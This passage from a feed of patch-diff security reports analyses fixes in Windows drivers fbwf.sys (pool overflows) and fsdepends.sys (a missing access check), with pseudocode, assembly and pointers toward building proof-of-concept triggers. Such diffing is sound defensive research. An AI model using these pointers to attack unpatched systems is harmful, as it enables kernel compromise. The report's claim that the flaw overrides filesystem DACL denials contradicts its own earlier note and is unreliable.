&lt;li&gt;&lt;strong&gt;&lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt;&lt;/strong&gt; (Security Relevant): Unpatched allocates a fixed &lt;code&gt;0xFFFE&lt;/code&gt; paged-pool buffer (&lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; @ &lt;code&gt;0x1C00114C4&lt;/code&gt;), fills it with the current directory path via &lt;code&gt;FbwfGetCurrentPath&lt;/code&gt;, then appends the directory-entry name (&lt;code&gt;memmove&lt;/code&gt; @ &lt;code&gt;0x1C001152C&lt;/code&gt;) and the write-through-entry name (&lt;code&gt;memmove&lt;/code&gt; @ &lt;code&gt;0x1C001157A&lt;/code&gt;) at the running path offset with no check that &lt;code&gt;path_len + name_len&lt;/code&gt; stays within &lt;code&gt;0xFFFE&lt;/code&gt;, allowing a paged-pool out-of-bounds write when the path fills the buffer. Patched pre-measures &lt;code&gt;path_len + 4 + max(entry_name_len, write_through_name_len)&lt;/code&gt; and allocates exactly that with &lt;code&gt;ExAllocatePool2&lt;/code&gt; (@ &lt;code&gt;0x1400140C1&lt;/code&gt;). A second load-bearing security fix (see Finding 5), the same CWE-787/CWE-131 class as &lt;code&gt;FbwfGenerateFileName&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FbwfPortMessage&lt;/code&gt;&lt;/strong&gt; (Security Relevant): Adds an overflow-checked &lt;code&gt;count * block_size&lt;/code&gt; computation in a new scratch-space handler (IOCTL &lt;code&gt;0xFB2F0001&lt;/code&gt;), returning &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; on overflow. The product feeds &lt;code&gt;TotalBytes&lt;/code&gt; cache accounting, not a pool allocation; the IOCTL dispatch bounds check is present in both builds. Defensive CWE-190 hardening on a new feature.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FbwfCheckAndTranslateVolumeName&lt;/code&gt;&lt;/strong&gt; (Behavioral): Replaced the inlined wide-string length loop with &lt;code&gt;RtlInitUnicodeString&lt;/code&gt;, which performs the same unbounded null-terminator scan. Both builds then apply the identical &lt;code&gt;Length + 2 &amp;lt;= 0x80&lt;/code&gt; check and the same downstream logic. Source-level refactor with no behavioral difference.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FbwfWrite&lt;/code&gt;&lt;/strong&gt; (Behavioral): Restructured the byte-offset sentinel handling (&lt;code&gt;FILE_USE_FILE_POINTER_POSITION&lt;/code&gt;, &lt;code&gt;FILE_WRITE_TO_END_OF_FILE&lt;/code&gt;). Both builds substitute the current/end offset for these sentinels and apply the same &lt;code&gt;length + offset&lt;/code&gt; wrap guard; no new offset validation is introduced.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FbwfNormalizeNameComponent&lt;/code&gt;&lt;/strong&gt; (Behavioral): Replaced a fixed &lt;code&gt;0xFFFE&lt;/code&gt; &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; buffer with a dynamically sized &lt;code&gt;ExAllocatePool2&lt;/code&gt; allocation of &lt;code&gt;max(component_len, name_len) + 1&lt;/code&gt; bytes. The copy operations into the pool buffer are not newly bounds-checked, and the only length check present (&lt;code&gt;cmp eax, [Length]&lt;/code&gt;, guarding the caller's output buffer) is identical in both builds. The fixed &lt;code&gt;0xFFFE&lt;/code&gt; already accommodated realistic single-component/path inputs; this is defensive fixed-to-dynamic sizing plus allocation-API churn, not a demonstrable overflow fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FbwfPreCreate&lt;/code&gt;&lt;/strong&gt; (Behavioral): Refactored file creation logic to include explicit share access checks (&lt;code&gt;IoCheckLinkShareAccess&lt;/code&gt;) and added validations for malformed file names/related file objects.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FbwfCompress&lt;/code&gt;&lt;/strong&gt; (Behavioral): Migrated memory management to Lookaside Lists and added an explicit &lt;code&gt;FinalCompressedSize &amp;gt;= 0x1000&lt;/code&gt; check to validate compression results.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FbwfExtendFileSize&lt;/code&gt;&lt;/strong&gt; (Behavioral): Replaced legacy &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; with zero-flag semantics (&lt;code&gt;ExAllocatePool2&lt;/code&gt;) and implemented Control Flow Guard (&lt;code&gt;guard_dispatch_icall&lt;/code&gt;) for indirect calls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FbwfQuerySecurity&lt;/code&gt;&lt;/strong&gt; (Cosmetic): Structural field offset shifts and renaming of internal wrapper functions to standard library calls (e.g., &lt;code&gt;memcpy&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added/Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implication:&lt;/strong&gt; The patch is entirely contained within the modification of existing functions. No new mitigation callbacks or wrapper functions were introduced at the compilation level, meaning security enhancements are localized to the modified logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High. The assembly shows the fixed &lt;code&gt;0xFFFE&lt;/code&gt; allocation and the unaccounted stream-name append in the unpatched &lt;code&gt;FbwfGenerateFileName&lt;/code&gt;, and the pre-measured size (including the stream) in the patched build; the same fixed &lt;code&gt;0xFFFE&lt;/code&gt; allocation with an unaccounted entry-name/write-through-name append in the unpatched &lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt;, and the pre-measured &lt;code&gt;path_len + 4 + max(name lengths)&lt;/code&gt; allocation in the patched build; the patched-only overflow-checked multiplication in &lt;code&gt;FbwfPortMessage&lt;/code&gt; feeding &lt;code&gt;TotalBytes&lt;/code&gt; accounting; the equivalent &lt;code&gt;RtlInitUnicodeString&lt;/code&gt;-vs-loop length computation in &lt;code&gt;FbwfCheckAndTranslateVolumeName&lt;/code&gt;; and the equivalent &lt;code&gt;FbwfWrite&lt;/code&gt; offset handling and wrap guard across both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;fbwf.sys&lt;/code&gt; (File-Based Write Filter) driver is active, which is standard on Windows Preinstallation Environment (WinPE) or kiosk-style embedded Windows deployments.&lt;/li&gt;
&lt;li&gt;For Finding 1, reachability requires a file path long enough that the volume name plus path fill the fixed &lt;code&gt;0xFFFE&lt;/code&gt; buffer, combined with an alternate data stream on the target file.&lt;/li&gt;
&lt;li&gt;For Finding 2, the attacker is assumed to have sufficient privileges to open the &lt;code&gt;FilterSendMessage&lt;/code&gt; communication port; depending on the port ACLs this may require medium-integrity administrative access. The exact communication port name should be verified dynamically (e.g., via &lt;code&gt;fltmc instances&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Verification Required:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A reverse engineer writing a Finding 1 proof-of-concept will need to construct a path/stream combination that drives &lt;code&gt;volume_len + path_len&lt;/code&gt; to the &lt;code&gt;0xFFFE&lt;/code&gt; boundary and confirm the overflow length (&lt;code&gt;2 + stream_len&lt;/code&gt;) against the pool block.&lt;/li&gt;
&lt;li&gt;For Finding 2, mapping the exact byte offset of the &lt;code&gt;count&lt;/code&gt; field within the &lt;code&gt;0xFB2F0001&lt;/code&gt; message body and the target volume's &lt;code&gt;block_size&lt;/code&gt; is required to force the multiply to overflow.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>fsdepends.sys — Missing authorization / access check (CWE-862) in DepFSPreCreate fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/fsdepends_308a0c48-fsdepends-report-20260625-233200.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/fsdepends_308a0c48-fsdepends-report-20260625-233200.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;fsdepends_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;fsdepends_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9817 (98.17%)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 87 matched functions (84 identical, 3 changed), 0 unmatched in both directions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch fixes a medium-severity missing authorization vulnerability (CWE-862) in the minifilter's pre-create callback. In the post-startup steady state the unpatched driver performs no access check of its own against the managed volume's security descriptor before letting create operations proceed; the patch adds that driver-level &lt;code&gt;SeAccessCheck&lt;/code&gt; gate.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Missing Authorization / Access Check (CWE-862)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;DepFSPreCreate&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause Analysis:&lt;/strong&gt;
The &lt;code&gt;FsDepends&lt;/code&gt; minifilter driver intercepts &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; (file open/create) operations on managed dependency volumes. The unpatched version only performs volume-context and autochk handling &lt;em&gt;before&lt;/em&gt; system startup applications complete (&lt;code&gt;FsRtlAreVolumeStartupApplicationsComplete()&lt;/code&gt; returns &lt;code&gt;FALSE&lt;/code&gt;). Once startup completes (normal system steady-state), the unpatched driver falls straight through to an unconditional return of &lt;code&gt;FLT_PREOP_SUCCESS_WITH_CALLBACK&lt;/code&gt; (value &lt;code&gt;1&lt;/code&gt;). As a result, in steady-state operation the minifilter performs no authorization check of its own against the managed volume's security descriptor before letting the create proceed; the driver-level access gate that the patch adds is simply absent. (Note: the minifilter returning &lt;code&gt;FLT_PREOP_SUCCESS_WITH_CALLBACK&lt;/code&gt; does not disable the underlying filesystem's own access check — it only means the minifilter does not impose its own additional restriction.)&lt;/p&gt;
&lt;p&gt;The patch introduces an &lt;code&gt;else&lt;/code&gt; branch for the post-startup state. It fetches the minifilter instance context, extracts the volume's security descriptor (stored at offset &lt;code&gt;0x78&lt;/code&gt;), and calls &lt;code&gt;SeAccessCheck()&lt;/code&gt; with &lt;code&gt;AccessMode = UserMode&lt;/code&gt; (&lt;code&gt;1&lt;/code&gt;). If access is denied, the driver updates the &lt;code&gt;IoStatus.Status&lt;/code&gt; and returns &lt;code&gt;FLT_PREOP_COMPLETE&lt;/code&gt; (&lt;code&gt;4&lt;/code&gt;), successfully blocking the unauthorized access.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. A low-privileged user initiates an &lt;code&gt;NtCreateFile&lt;/code&gt; / &lt;code&gt;CreateFile&lt;/code&gt; request targeting a file on a volume managed by the &lt;code&gt;FsDepends&lt;/code&gt; minifilter (typically VHD or cloud files).
2. The Windows Filter Manager intercepts the IRP and dispatches it to the &lt;code&gt;DepFSPreCreate&lt;/code&gt; callback.
3. &lt;code&gt;DepFSPreCreate&lt;/code&gt; calls &lt;code&gt;FsRtlAreVolumeStartupApplicationsComplete()&lt;/code&gt;, which returns &lt;code&gt;TRUE&lt;/code&gt; in the normal steady-state.
4. The unpatched binary immediately returns &lt;code&gt;FLT_PREOP_SUCCESS_WITH_CALLBACK&lt;/code&gt; (1), overriding any standard filesystem DACL denials and allowing the operation to proceed.&lt;/p&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;Below is a high-level comparison of the vulnerable logic path. The unpatched version completely lacks the &lt;code&gt;else&lt;/code&gt; block that enforces authorization in the post-startup phase.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED DepFSPreCreate ===&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;DepFSPreCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// FLT_PREOP_SUCCESS_WITH_CALLBACK&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;FsRtlAreVolumeStartupApplicationsComplete&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Pre-startup logic: handles autochk/volume verification&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// (Not vulnerable)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// VULNERABILITY: No &amp;#39;else&amp;#39; block. &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// When FsRtlAreVolumeStartupApplicationsComplete() == TRUE, &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// control falls straight through to the return without any access check.&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Always returns 1 (SUCCESS)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED DepFSPreCreate ===&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;DepFSPreCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;FsRtlAreVolumeStartupApplicationsComplete&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Pre-startup logic...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// FIX: Post-startup authorization check&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FltGetInstanceContext&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x78&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Check if SD exists&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;GENERIC_MAPPING&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetFileObjectGenericMapping&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;granted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SeAccessCheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x78&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// SecurityDescriptor&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;...,&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// SubjectSecurityContext&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;...,&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// DesiredAccess&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;gm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// GenericMapping&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// AccessMode = UserMode&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;GrantedAccess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;AccessStatus&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;granted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// Access Denied&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AccessStatus&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Set IoStatus.Status&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// FLT_PREOP_COMPLETE (block)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;The vulnerability is a straight-line bypass. In the unpatched binary, the result of &lt;code&gt;FsRtlAreVolumeStartupApplicationsComplete()&lt;/code&gt; dictates whether the function jumps straight to the return epilogue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unpatched Assembly (&lt;code&gt;fsdepends_unpatched!DepFSPreCreate&lt;/code&gt;)&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mh"&gt;0x1c0007034&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0006238&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FsRtlAreVolumeStartupApplicationsComplete&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000703b&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0007040&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0007042&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x1c0007185&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Startup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Complete&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JUMP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EPILOGUE&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
